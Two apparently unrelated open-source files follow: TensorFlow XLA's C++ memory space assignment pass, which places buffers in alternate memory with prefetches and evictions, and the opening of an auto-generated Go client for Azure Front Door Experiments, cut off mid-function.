/* Copyright 2019 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/compiler/xla/service/memory_space_assignment.h" namespace xla { namespace { // Define a dummy chunk for chunks that will be allocated in the default memory // space and for keeping track of number of asynchronous copies. const HeapSimulator::Chunk kDummyChunk{-1, -1}; } // namespace std::vector<const GlobalDecreasingSizeBestFitHeap::BufferInterval*> AlternateMemoryBestFitHeap::GetSortedColocatedIntervals( const GlobalDecreasingSizeBestFitHeap::BufferInterval& interval) const { std::vector<const BufferInterval*> colocated_intervals; std::vector<const BufferInterval*> worklist = {&interval}; while (!worklist.empty()) { const BufferInterval* item = worklist.back(); worklist.pop_back(); colocated_intervals.push_back(item); for (const HloValue* buffer_colocated : item->colocations) { worklist.push_back(&buffer_intervals_.at(buffer_colocated)); } } absl::c_sort(colocated_intervals, [&](const BufferInterval* x, const BufferInterval* y) { return std::make_pair(x->start, x->end) < std::make_pair(y->start, y->end); }); return colocated_intervals; } HeapSimulator::Result AlternateMemoryBestFitHeap::Finish() { std::vector<BufferInterval> sorted_buffer_intervals = GetSortedBufferIntervals(); VLOG(1) << "Assigning buffers to alternate memory. Max heap size = " << max_size_in_bytes_ << ", min prefetch interval = " << min_prefetch_interval_ << ", max prefetch interval = " << max_prefetch_interval_; for (auto& interval : sorted_buffer_intervals) { if (!interval.need_allocation) { continue; } // Skip if we have already allocated for this buffer. const HloBuffer& buffer = alias_analysis_.GetBufferContainingValue(*interval.buffer); if (allocation_map_->contains(&buffer)) { continue; } // If the buffer is a tuple, don't use this algorithm for now. The buffers // that are pointed to by the tuple will still use this algorithm. // TODO(berkin): Because tuples are cheap to place in the alternate memory // (they are just pointers) we don't need to use prefetch/evict logic. if (buffer.values()[0]->shape().IsTuple()) { VLOG(4) << "Keeping buffer " << buffer.ToString() << " in default mem because it is a tuple."; continue; } auto colocated_intervals = GetSortedColocatedIntervals(interval); bool keep_in_default_memory = false; for (const BufferInterval* colocated_interval : colocated_intervals) { const HloValue* value = colocated_interval->buffer; // If any of the colocated values are phi buffers, we keep them in the // default memory for now. if (value->is_phi()) { keep_in_default_memory = true; VLOG(4) << "Keeping value " << value->ToShortString() << " because it contains a phi node."; break; } } MemorySpaceAssignment::AllocationSequence* allocation_sequence = &(*allocation_map_)[&buffer]; // At this point, none of the colocated buffers contain any phi buffers. for (const BufferInterval* colocated_interval : colocated_intervals) { if (keep_in_default_memory) { break; } const HloValue* value = colocated_interval->buffer; int64 definition_time = instruction_schedule_->at(value->defining_instruction()); // Sort the uses by the use time. std::vector<HloUse> uses = value->uses(); absl::c_sort(uses, [&](HloUse use1, HloUse use2) { return instruction_schedule_->at(use1.instruction) < instruction_schedule_->at(use2.instruction); }); // Iterate over the uses. for (HloUse use : uses) { int64 use_time = instruction_schedule_->at(use.instruction); // Bitcasts don't define buffers and don't directly consume buffers. // Skip allocating buffers for bitcast uses. The uses that feed from // bitcasts will be handled specially. if (use.instruction->opcode() != HloOpcode::kBitcast) { if (!FindAllocation(definition_time, use_time, value->defining_position(), use, value, colocated_interval->size, allocation_sequence)) { // If the allocation finding failed (e.g., due to running out of // asynchronous copies), then fall back to allocating the buffer // entirely in the default memory. pending_chunks_.clear(); pending_async_copies_.clear(); allocation_sequence->clear(); keep_in_default_memory = true; break; } // If there are multiple uses, they can try using the memory // allocation already at the alternate memory. definition_time = use_time; } } } CommitPendingChunks(); } if (VLOG_IS_ON(3)) { for (const auto& alloc_pair : *allocation_map_) { VLOG(3) << "Allocation for " << alloc_pair.first->ToString(); for (const auto& alloc : alloc_pair.second) { std::string addr_str = ": default"; if (alloc->memory_space() == MemorySpace::kAlternate) { addr_str = absl::StrCat(": alt ", alloc->chunk().offset); } VLOG(3) << " " << alloc->start_time() << "-" << alloc->end_time() << addr_str << ", " << alloc->uses().size() << " uses"; } } } return result_; } HloInstruction* AlternateMemoryBestFitHeap::GetInstructionAt(int64 time) const { return flattened_instruction_sequence_->instructions()[time]; } void AlternateMemoryBestFitHeap::CommitPendingChunks() { for (auto interval_and_chunk : pending_chunks_) { VLOG(3) << "Committing chunk: " << interval_and_chunk.first.start << "-" << interval_and_chunk.first.end << " : [" << interval_and_chunk.second.chunk.offset << ", " << interval_and_chunk.second.chunk.size << "]"; CommitChunk(interval_and_chunk.first, interval_and_chunk.second); } pending_chunks_.clear(); // Also add the pending async copies to the interval tree. if (max_outstanding_async_copies_ >= 0) { for (auto interval : pending_async_copies_) { async_copy_interval_tree_.Add(interval.first, interval.second, kDummyChunk); } } pending_async_copies_.clear(); } void AlternateMemoryBestFitHeap::AddToPendingChunks( const BufferInterval& buffer_interval, const ChunkCandidate& chunk_candidate) { pending_chunks_.emplace_back(buffer_interval, chunk_candidate); } bool AlternateMemoryBestFitHeap::FindAllocation( int64 start_time, int64 end_time, HloPosition defining_position, HloUse use, const HloValue* buffer, int64 size, MemorySpaceAssignment::AllocationSequence* allocations) { HloInstruction* operand = use.instruction->mutable_operand(use.operand_number); // If the operand is a bitcast, we look at bitcast's operand until we find a // non-bitcast operand. HloInstruction* non_bitcast_operand = operand; while (non_bitcast_operand->opcode() == HloOpcode::kBitcast) { non_bitcast_operand = non_bitcast_operand->mutable_operand(0); } // Create an alternate memory interval that starts at the earliest // possible position, given by max_prefetch_interval. BufferInterval alternate_mem_interval; alternate_mem_interval.buffer = buffer; alternate_mem_interval.size = size; alternate_mem_interval.start = std::max(start_time, end_time - max_prefetch_interval_); alternate_mem_interval.end = end_time; VLOG(2) << "Finding allocation for " << buffer->ToShortString() << " (" << start_time << ", " << end_time << "). Size = " << size << ", def pos = " << defining_position.ToString() << ", operand = " << operand->ToString() << (non_bitcast_operand != operand ? ", non_bitcast_operand = " + non_bitcast_operand->ToString() : ""); CHECK_LT(start_time, end_time); // First try keeping the allocation entirely in the alternate memory. if (TryAllocatingInAlternateMemoryNoCopy( start_time, end_time, defining_position, use, alternate_mem_interval, non_bitcast_operand, allocations)) { return true; } MemorySpaceAssignment::Allocation* prev_allocation = nullptr; if (!allocations->empty()) { prev_allocation = allocations->back().get(); } // Since copies couldn't be removed, create an allocation in the default // memory space. if (prev_allocation != nullptr && prev_allocation->memory_space() == MemorySpace::kAlternate && prev_allocation->instruction() == non_bitcast_operand) { // If there was an allocation for this HloValue that was in the alternate // memory space, we also need to perform an eviction. // TODO(berkin): For now evictions happen relative to the most recent // allocation in the alternate memory. We can potentially start evictions // earlier and end later. VLOG(3) << "Evicting buffer at " << prev_allocation->chunk().offset << " (" << prev_allocation->start_time() << ", " << prev_allocation->end_time() << ")"; // See if this interval would violate the asynchronous copy limit. if (!ViolatesMaximumOutstandingAsyncCopies(prev_allocation->start_time(), prev_allocation->end_time())) { AddAsyncCopy(*prev_allocation, MemorySpace::kDefault, kDummyChunk, prev_allocation->start_time(), prev_allocation->end_time(), allocations); } else { VLOG(3) << "This violates the maximum async copies."; // If the original interval violated the limit, try sub-intervals within // this interval. bool eviction_scheduled = false; for (int64 time = prev_allocation->start_time(); time <= prev_allocation->end_time(); ++time) { VLOG(3) << "Try evicting (" << time << ", " << time << ")"; if (!ViolatesMaximumOutstandingAsyncCopies(time, time)) { VLOG(3) << "Eviction successful."; AddAsyncCopy(*prev_allocation, MemorySpace::kDefault, kDummyChunk, time, time, allocations); eviction_scheduled = true; break; } } if (!eviction_scheduled) { // If the eviction couldn't be scheduled, then fail. This buffer will be // kept in the default memory. VLOG(3) << "Bailing: Could not evict " << use.ToString() << " because we hit the limit of maximum asynchronous copies " << "between " << GetInstructionAt(prev_allocation->start_time())->ToString() << " and " << GetInstructionAt(prev_allocation->end_time())->ToString(); return false; } } } else if (prev_allocation != nullptr && prev_allocation->memory_space() == MemorySpace::kDefault && prev_allocation->instruction() == non_bitcast_operand) { // If the previous allocation was in the default memory space and was // defined by the same instruction, extend that. Otherwise, create a new // allocation. prev_allocation->Extend(end_time); } else { allocations->push_back(absl::make_unique<MemorySpaceAssignment::Allocation>( non_bitcast_operand, defining_position, MemorySpace::kDefault, kDummyChunk, start_time, end_time)); } // Try partially placing the buffer in the alternate space. The time that is // overlapped will be used to asynchronously copy the buffer from the // default memory to the alternate memory. // // start end // time time // X---------------------X // Alternate: +------+ // Default: +---------------------+ // ^ ^ // Copy Copy // Start Done for (alternate_mem_interval.start = std::max(start_time, end_time - max_prefetch_interval_); alternate_mem_interval.end - alternate_mem_interval.start > min_prefetch_interval_; ++alternate_mem_interval.start) { VLOG(4) << "Trying alternate memory allocation (" << alternate_mem_interval.start << ", " << alternate_mem_interval.end << ")"; // If this additional asynchronous copy would violate the limit, try a // different interval. if (ViolatesMaximumOutstandingAsyncCopies(alternate_mem_interval.start, alternate_mem_interval.end)) { VLOG(4) << "This would violate the outstanding async copy limit."; continue; } ChunkCandidate chunk_candidate = FindChunkCandidate(alternate_mem_interval); // Check if the new heap size fits within limits. if (chunk_candidate.heap_size < max_size_in_bytes_) { VLOG(3) << "Move the buffer to alternate memory at " << alternate_mem_interval.start << ". Offset = " << chunk_candidate.chunk.offset << ", size = " << chunk_candidate.chunk.size << ", heap_size = " << chunk_candidate.heap_size; AddToPendingChunks(alternate_mem_interval, chunk_candidate); AddAsyncCopy(*allocations->back().get(), MemorySpace::kAlternate, chunk_candidate.chunk, alternate_mem_interval.start, end_time, allocations); allocations->back()->AddUse(use); return true; } } // If a copy wasn't inserted, then add this use to the latest allocation. allocations->back()->AddUse(use); return true; } void AlternateMemoryBestFitHeap::AddAsyncCopy( const MemorySpaceAssignment::Allocation& prev_allocation, MemorySpace memory_space, Chunk chunk, int64 start_time, int64 end_time, MemorySpaceAssignment::AllocationSequence* allocations) { HloInstruction* earliest_instruction = GetInstructionAt(start_time); HloInstruction* latest_instruction = GetInstructionAt(end_time); VLOG(3) << "Copy to " << (memory_space == MemorySpaceAssignment::MemorySpace::kDefault ? "default" : "alternate") << " memory between instructions " << earliest_instruction->ToString() << " - " << latest_instruction->ToString(); allocations->push_back( absl::make_unique<MemorySpaceAssignment::CopyAllocation>( prev_allocation, memory_space, chunk, start_time, end_time, earliest_instruction, latest_instruction)); // Register the additional async copy with the interval tree to keep track of // the limit at any given time. pending_async_copies_.emplace_back(start_time, end_time); } bool AlternateMemoryBestFitHeap::ViolatesMaximumOutstandingAsyncCopies( int64 start_time, int64 end_time) const { if (max_outstanding_async_copies_ < 0) { return false; } // Count both the asynchronous copies in the interval tree as well as the // pending asynchronous copies belonging to this buffer. int64 num_async_copies = async_copy_interval_tree_.ChunksOverlappingInTime(start_time, end_time) .size(); for (auto interval : pending_async_copies_) { if (interval.second > start_time && interval.first < end_time) { num_async_copies++; } } // Add one because we are checking if adding an additional asynchronous copy // would violate the limit. return num_async_copies + 1 > max_outstanding_async_copies_; } bool AlternateMemoryBestFitHeap::TryAllocatingInAlternateMemoryNoCopy( int64 start_time, int64 end_time, HloPosition defining_position, HloUse use, BufferInterval alternate_mem_interval, HloInstruction* non_bitcast_operand, MemorySpaceAssignment::AllocationSequence* allocations) { MemorySpaceAssignment::Allocation* prev_allocation = nullptr; bool can_eliminate_copy = false; if (allocations->empty()) { // There hasn't been any allocations for this interval so far. We can // eliminate copy if the value can be placed in the alternate memory. can_eliminate_copy = is_allowed_in_alternate_mem_(*alternate_mem_interval.buffer); } else { // If there has been a previous allocation, we can eliminate the copy if the // previous allocation was also in the alternate memory. prev_allocation = allocations->back().get(); can_eliminate_copy = (prev_allocation->memory_space() == MemorySpace::kAlternate); } if (!can_eliminate_copy) { return false; } if (alternate_mem_interval.start != start_time) { return false; } // Prefer the offset that was previously used for the previous allocation. int64 preferred_offset = -1; if (prev_allocation != nullptr) { preferred_offset = prev_allocation->chunk().offset; // If there is a previous allocation, set the start time one after the end // of the previous allocation's end. alternate_mem_interval.start = prev_allocation->end_time() + 1; } VLOG(4) << "We can eliminate copy to alternate memory. Preferred offset = " << preferred_offset; ChunkCandidate chunk_candidate = FindChunkCandidate(alternate_mem_interval, preferred_offset); // Check if the new heap size fits within limits. Also ensure if a // preferred offset was provided, that offset was used. if (chunk_candidate.heap_size < max_size_in_bytes_ && (preferred_offset == -1 || preferred_offset == chunk_candidate.chunk.offset)) { VLOG(3) << "Keep the buffer in alternate memory. Offset = " << chunk_candidate.chunk.offset << ", size = " << chunk_candidate.chunk.size << ", heap_size = " << chunk_candidate.heap_size; AddToPendingChunks(alternate_mem_interval, chunk_candidate); // If there was a previous allocation, the buffer location is the // same as the previous. Otherwise, it is the operand. if (prev_allocation != nullptr && prev_allocation->instruction() == non_bitcast_operand) { prev_allocation->Extend(end_time); } else { allocations->push_back( absl::make_unique<MemorySpaceAssignment::Allocation>( non_bitcast_operand, defining_position, MemorySpace::kAlternate, chunk_candidate.chunk, start_time, end_time)); } allocations->back()->AddUse(use); return true; } return false; } /*static*/ int64 MemorySpaceAssignment::CountMaximumOutstandingAsyncCopies( const HloModule& module) { int64 max_copies = 0; int64 current_copies = 0; for (HloInstruction* instruction : module.schedule().sequence(module.entry_computation()).instructions()) { if (instruction->opcode() == HloOpcode::kCopyStart) { current_copies++; } else if (instruction->opcode() == HloOpcode::kCopyDone) { current_copies--; } max_copies = std::max(max_copies, current_copies); } return max_copies; } /*static*/ StatusOr<std::unique_ptr<PresetAssignments>> MemorySpaceAssignment::Run( HloModule* module, int64 alternate_memory_space, int64 max_size_in_bytes, int64 min_prefetch_interval, int64 max_prefetch_interval, int64 alternate_memory_space_alignment_in_bytes, BufferValue::SizeFunction size_fn, AlternateMemoryBestFitHeap::IsAllowedInAlternateMemoryFunction is_allowed_in_alternate_mem, int64 max_outstanding_async_copies) { CHECK(module->has_schedule()); VLOG(4) << "Module before memory space assignment: "; XLA_VLOG_LINES(4, module->ToString()); VLOG(4) << "Schedule: " << module->schedule().ToString(); TF_ASSIGN_OR_RETURN(auto alias_analysis, HloAliasAnalysis::Run(module)); MemorySpaceAssignment memory_space_assignment(module, alternate_memory_space); // TODO(berkin): Explore heap algorithms other than kSpatial. auto algorithm = absl::make_unique<AlternateMemoryBestFitHeap>( &memory_space_assignment.allocation_map_, max_size_in_bytes, min_prefetch_interval, max_prefetch_interval, *alias_analysis, alternate_memory_space_alignment_in_bytes, GlobalDecreasingSizeBestFitHeap::Type::kSpatial, is_allowed_in_alternate_mem, max_outstanding_async_copies); TF_RETURN_IF_ERROR(HeapSimulator::Run(std::move(algorithm), *module, module->schedule(), *alias_analysis.get(), size_fn) .status()); TF_RETURN_IF_ERROR(memory_space_assignment.Process()); TF_RETURN_IF_ERROR(memory_space_assignment.FixSchedule()); VLOG(4) << "Module after memory space assignment: "; XLA_VLOG_LINES(4, module->ToString()); TF_CHECK_OK(module->schedule().Verify()); VLOG(1) << "Maximum number of outstanding async copies: " << CountMaximumOutstandingAsyncCopies(*module); return std::move(memory_space_assignment.preset_assignments_); } void MemorySpaceAssignment::Allocation::AddUse(HloUse use) { HloInstruction* operand = use.instruction->mutable_operand(use.operand_number); // When the operand of a use is a bitcast, we place the bitcast in a separate // data structure. if (operand->opcode() == HloOpcode::kBitcast) { bitcasts_.push_back(operand); } else { uses_.push_back(use); } } Status MemorySpaceAssignment::Allocation::PropagateMemorySpaceToBitcasts( const MemorySpaceAssignment& memory_space_assignment) { for (HloInstruction* bitcast : bitcasts_) { if (memory_space_ == MemorySpace::kAlternate) { Layout* bitcast_layout = bitcast->mutable_shape()->mutable_layout(); bitcast_layout->set_memory_space( memory_space_assignment.alternate_memory_space_); } } return Status::OK(); } Status MemorySpaceAssignment::Allocation::Process( MemorySpaceAssignment* memory_space_assignment) { // For non-copy allocations, all we need to do is to update the output memory // space if placed in the alternate memory. if (memory_space_ == MemorySpace::kAlternate) { Layout* layout = instruction_->mutable_shape()->mutable_layout(); layout->set_memory_space(memory_space_assignment->alternate_memory_space_); } TF_RETURN_IF_ERROR(PropagateMemorySpaceToBitcasts(*memory_space_assignment)); return Status::OK(); } Status MemorySpaceAssignment::CopyAllocation::Process( MemorySpaceAssignment* memory_space_assignment) { // Copy allocations need to insert asynchronous copy nodes. HloInstruction* producing_instruction = instruction(); CHECK_NE(producing_instruction, nullptr); Shape shape = producing_instruction->shape(); HloComputation* computation = producing_instruction->parent(); // Set the layout to include the memory space. Layout* layout = shape.mutable_layout(); if (memory_space_ == MemorySpace::kAlternate) { layout->set_memory_space(memory_space_assignment->alternate_memory_space_); } else { layout->set_memory_space(0); } HloInstruction* copy_start = computation->AddInstruction(HloInstruction::CreateUnary( ShapeUtil::MakeTupleShape({shape, ShapeUtil::MakeShape(U32, {})}), HloOpcode::kCopyStart, producing_instruction)); HloInstruction* copy_done = computation->AddInstruction( HloInstruction::CreateUnary(shape, HloOpcode::kCopyDone, copy_start)); // Update the allocation with the copy done instruction so that if there // are further copies from it, it can find the correct instruction. instruction_ = copy_done; // Also update the defining position. Note that the output of CopyDone is // actually defined in the item {0} of CopyStart. defining_position_ = HloPosition{copy_start, {0}}; // Replace all the uses with the new copy instruction. for (HloUse use : uses_) { TF_RETURN_IF_ERROR( use.instruction->ReplaceOperandWith(use.operand_number, copy_done)); } // Replace all the bitcasts with the new copy instruction. Note that if there // is a chain of bitcasts, their operands will be replaced with copy done. // For example: // // a = Foo() // b = Bitcast(a) // c = Bitcast(b) // // If a is moved to the alternate memory asynchronously, the graph will be // changed into: // // a = Foo() // cs = CopyStart(a) // cd = CopyDone(cs) // b = Bitcast(cd) // c = Bitcast(cd) // // Because of the potential shape change in the operand (b -> cd), we use // ReplaceOperandWithDifferentShape. for (HloInstruction* bitcast : bitcasts_) { TF_RETURN_IF_ERROR(bitcast->ReplaceOperandWithDifferentShape( /*operand_num=*/0, instruction_)); } // Propagate the memory space to all bitcasts. TF_RETURN_IF_ERROR(PropagateMemorySpaceToBitcasts(*memory_space_assignment)); // Insert the new instructions at the appropriate places in the schedule. // FixSchedule will process the maps to actually insert them. memory_space_assignment->ScheduleAsynchronousCopy( copy_start, copy_start_schedule_after_, copy_done, copy_done_schedule_before_); return Status::OK(); } Status MemorySpaceAssignment::Process() { // Insert CopyStart/CopyDone pairs. int64 alternate_memory_size = 0; for (auto& buffer_and_sequence : allocation_map_) { for (auto& allocation : buffer_and_sequence.second) { TF_RETURN_IF_ERROR(allocation->Process(this)); // Add the offset and size of the allocation in the alternate memory to // the output map. Special case for bitcast: since bitcast doesn't define // its own buffer, that shouldn't be exported as a preset chunk. if (allocation->memory_space() == MemorySpace::kAlternate && allocation->instruction()->opcode() != HloOpcode::kBitcast) { preset_assignments_->add_chunk(allocation->defining_position(), allocation->chunk()); alternate_memory_size = std::max(alternate_memory_size, allocation->chunk().chunk_end()); } } } if (!preset_assignments_->chunks().empty()) { preset_assignments_->add_size(alternate_memory_space_, alternate_memory_size); } if (VLOG_IS_ON(3)) { VLOG(3) << "Exported alternate memory allocations:"; for (auto& pair : preset_assignments_->chunks()) { VLOG(3) << " [" << pair.second.offset << ", " << pair.second.size << "] : " << pair.first.ToString(); } VLOG(3) << "Exported alternate memory sizes:"; for (auto& pair : preset_assignments_->sizes()) { VLOG(3) << " space: " << pair.first << ", size: " << pair.second; } } return Status::OK(); } void MemorySpaceAssignment::ScheduleAsynchronousCopy( HloInstruction* copy_start, HloInstruction* copy_start_schedule_after, HloInstruction* copy_done, HloInstruction* copy_done_schedule_before) { schedule_after_[copy_start_schedule_after].push_back(copy_start); schedule_before_[copy_done_schedule_before].push_back(copy_done); } void MemorySpaceAssignment::EnsureInstructionAndOperandsInserted( HloInstruction* new_instruction, HloInstructionSequence* new_sequence, absl::flat_hash_set<HloInstruction*>* inserted_instructions) const { if (inserted_instructions->contains(new_instruction)) { return; } for (HloInstruction* operand : new_instruction->operands()) { EnsureInstructionAndOperandsInserted(operand, new_sequence, inserted_instructions); } VLOG(4) << "inserting: " << new_instruction->ToString(); new_sequence->push_back(new_instruction); inserted_instructions->insert(new_instruction); } Status MemorySpaceAssignment::FixSchedule() { CHECK(module_->has_schedule()); HloSchedule& schedule = module_->schedule(); for (const HloComputation* computation : module_->MakeNonfusionComputations()) { CHECK(schedule.is_computation_scheduled(computation)); const HloInstructionSequence& sequence = schedule.sequence(computation); HloInstructionSequence new_sequence; absl::flat_hash_set<HloInstruction*> inserted_instructions; for (HloInstruction* instruction : sequence.instructions()) { auto insts_before_iter = schedule_before_.find(instruction); if (insts_before_iter != schedule_before_.end()) { for (HloInstruction* new_instruction : insts_before_iter->second) { EnsureInstructionAndOperandsInserted(new_instruction, &new_sequence, &inserted_instructions); } } // Insert only if not previously inserted. if (!inserted_instructions.contains(instruction)) { EnsureInstructionAndOperandsInserted(instruction, &new_sequence, &inserted_instructions); } auto insts_after_iter = schedule_after_.find(instruction); if (insts_after_iter != schedule_after_.end()) { for (HloInstruction* new_instruction : insts_after_iter->second) { EnsureInstructionAndOperandsInserted(new_instruction, &new_sequence, &inserted_instructions); } } } schedule.set_sequence(computation, new_sequence); } return Status::OK(); } } // namespace xla
{ "pile_set_name": "Github" }
package frontdoor // Copyright (c) Microsoft and contributors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // limitations under the License. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is regenerated. import ( "context" "github.com/Azure/go-autorest/autorest" "github.com/Azure/go-autorest/autorest/azure" "github.com/Azure/go-autorest/autorest/validation" "github.com/Azure/go-autorest/tracing" "net/http" ) // ExperimentsClient is the frontDoor Client type ExperimentsClient struct { BaseClient } // NewExperimentsClient creates an instance of the ExperimentsClient client. func NewExperimentsClient(subscriptionID string) ExperimentsClient { return NewExperimentsClientWithBaseURI(DefaultBaseURI, subscriptionID) } // NewExperimentsClientWithBaseURI creates an instance of the ExperimentsClient client using a custom endpoint. Use // this when interacting with an Azure cloud that uses a non-standard base URI (sovereign clouds, Azure stack). func NewExperimentsClientWithBaseURI(baseURI string, subscriptionID string) ExperimentsClient { return ExperimentsClient{NewWithBaseURI(baseURI, subscriptionID)} } // CreateOrUpdate sends the create or update request. // Parameters: // resourceGroupName - name of the Resource group within the Azure subscription. // profileName - the Profile identifier associated with the Tenant and Partner // experimentName - the Experiment identifier associated with the Experiment // parameters - the Experiment resource func (client ExperimentsClient) CreateOrUpdate(ctx context.Context, resourceGroupName string, profileName string, experimentName string, parameters Experiment) (result ExperimentsCreateOrUpdateFuture, err error) { if tracing.IsEnabled() { ctx = tracing.StartSpan(ctx, fqdn+"/ExperimentsClient.CreateOrUpdate") defer func() { sc := -1 if result.Response() != nil { sc = result.Response().StatusCode } tracing.EndSpan(ctx, sc, err) }() } if err := validation.Validate([]validation.Validation{ {TargetValue: resourceGroupName, Constraints: []validation.Constraint{{Target: "resourceGroupName", Name: validation.MaxLength, Rule: 80, Chain: nil}, {Target: "resourceGroupName", Name: validation.MinLength, Rule: 1, Chain: nil}, {Target: "resourceGroupName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: profileName, Constraints: []validation.Constraint{{Target: "profileName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: experimentName, Constraints: []validation.Constraint{{Target: "experimentName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}}); err != nil { return result, validation.NewError("frontdoor.ExperimentsClient", "CreateOrUpdate", err.Error()) } req, err := client.CreateOrUpdatePreparer(ctx, resourceGroupName, profileName, experimentName, parameters) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "CreateOrUpdate", nil, "Failure preparing request") return } result, err = client.CreateOrUpdateSender(req) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "CreateOrUpdate", result.Response(), "Failure sending request") return } return } // CreateOrUpdatePreparer prepares the CreateOrUpdate request. func (client ExperimentsClient) CreateOrUpdatePreparer(ctx context.Context, resourceGroupName string, profileName string, experimentName string, parameters Experiment) (*http.Request, error) { pathParameters := map[string]interface{}{ "experimentName": autorest.Encode("path", experimentName), "profileName": autorest.Encode("path", profileName), "resourceGroupName": autorest.Encode("path", resourceGroupName), "subscriptionId": autorest.Encode("path", client.SubscriptionID), } const APIVersion = "2019-11-01" queryParameters := map[string]interface{}{ "api-version": APIVersion, } preparer := autorest.CreatePreparer( autorest.AsContentType("application/json; charset=utf-8"), autorest.AsPut(), autorest.WithBaseURL(client.BaseURI), autorest.WithPathParameters("/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/NetworkExperimentProfiles/{profileName}/Experiments/{experimentName}", pathParameters), autorest.WithJSON(parameters), autorest.WithQueryParameters(queryParameters)) return preparer.Prepare((&http.Request{}).WithContext(ctx)) } // CreateOrUpdateSender sends the CreateOrUpdate request. The method will close the // http.Response Body if it receives an error. func (client ExperimentsClient) CreateOrUpdateSender(req *http.Request) (future ExperimentsCreateOrUpdateFuture, err error) { var resp *http.Response resp, err = client.Send(req, azure.DoRetryWithRegistration(client.Client)) if err != nil { return } future.Future, err = azure.NewFutureFromResponse(resp) return } // CreateOrUpdateResponder handles the response to the CreateOrUpdate request. The method always // closes the http.Response Body. func (client ExperimentsClient) CreateOrUpdateResponder(resp *http.Response) (result Experiment, err error) { err = autorest.Respond( resp, azure.WithErrorUnlessStatusCode(http.StatusOK, http.StatusCreated, http.StatusAccepted), autorest.ByUnmarshallingJSON(&result), autorest.ByClosing()) result.Response = autorest.Response{Response: resp} return } // Delete sends the delete request. // Parameters: // resourceGroupName - name of the Resource group within the Azure subscription. // profileName - the Profile identifier associated with the Tenant and Partner // experimentName - the Experiment identifier associated with the Experiment func (client ExperimentsClient) Delete(ctx context.Context, resourceGroupName string, profileName string, experimentName string) (result ExperimentsDeleteFuture, err error) { if tracing.IsEnabled() { ctx = tracing.StartSpan(ctx, fqdn+"/ExperimentsClient.Delete") defer func() { sc := -1 if result.Response() != nil { sc = result.Response().StatusCode } tracing.EndSpan(ctx, sc, err) }() } if err := validation.Validate([]validation.Validation{ {TargetValue: resourceGroupName, Constraints: []validation.Constraint{{Target: "resourceGroupName", Name: validation.MaxLength, Rule: 80, Chain: nil}, {Target: "resourceGroupName", Name: validation.MinLength, Rule: 1, Chain: nil}, {Target: "resourceGroupName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: profileName, Constraints: []validation.Constraint{{Target: "profileName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: experimentName, Constraints: []validation.Constraint{{Target: "experimentName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}}); err != nil { return result, validation.NewError("frontdoor.ExperimentsClient", "Delete", err.Error()) } req, err := client.DeletePreparer(ctx, resourceGroupName, profileName, experimentName) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "Delete", nil, "Failure preparing request") return } result, err = client.DeleteSender(req) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "Delete", result.Response(), "Failure sending request") return } return } // DeletePreparer prepares the Delete request. func (client ExperimentsClient) DeletePreparer(ctx context.Context, resourceGroupName string, profileName string, experimentName string) (*http.Request, error) { pathParameters := map[string]interface{}{ "experimentName": autorest.Encode("path", experimentName), "profileName": autorest.Encode("path", profileName), "resourceGroupName": autorest.Encode("path", resourceGroupName), "subscriptionId": autorest.Encode("path", client.SubscriptionID), } const APIVersion = "2019-11-01" queryParameters := map[string]interface{}{ "api-version": APIVersion, } preparer := autorest.CreatePreparer( autorest.AsDelete(), autorest.WithBaseURL(client.BaseURI), autorest.WithPathParameters("/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/NetworkExperimentProfiles/{profileName}/Experiments/{experimentName}", pathParameters), autorest.WithQueryParameters(queryParameters)) return preparer.Prepare((&http.Request{}).WithContext(ctx)) } // DeleteSender sends the Delete request. The method will close the // http.Response Body if it receives an error. func (client ExperimentsClient) DeleteSender(req *http.Request) (future ExperimentsDeleteFuture, err error) { var resp *http.Response resp, err = client.Send(req, azure.DoRetryWithRegistration(client.Client)) if err != nil { return } future.Future, err = azure.NewFutureFromResponse(resp) return } // DeleteResponder handles the response to the Delete request. The method always // closes the http.Response Body. func (client ExperimentsClient) DeleteResponder(resp *http.Response) (result autorest.Response, err error) { err = autorest.Respond( resp, azure.WithErrorUnlessStatusCode(http.StatusOK, http.StatusAccepted, http.StatusNoContent), autorest.ByClosing()) result.Response = resp return } // Get sends the get request. // Parameters: // resourceGroupName - name of the Resource group within the Azure subscription. // profileName - the Profile identifier associated with the Tenant and Partner // experimentName - the Experiment identifier associated with the Experiment func (client ExperimentsClient) Get(ctx context.Context, resourceGroupName string, profileName string, experimentName string) (result Experiment, err error) { if tracing.IsEnabled() { ctx = tracing.StartSpan(ctx, fqdn+"/ExperimentsClient.Get") defer func() { sc := -1 if result.Response.Response != nil { sc = result.Response.Response.StatusCode } tracing.EndSpan(ctx, sc, err) }() } if err := validation.Validate([]validation.Validation{ {TargetValue: 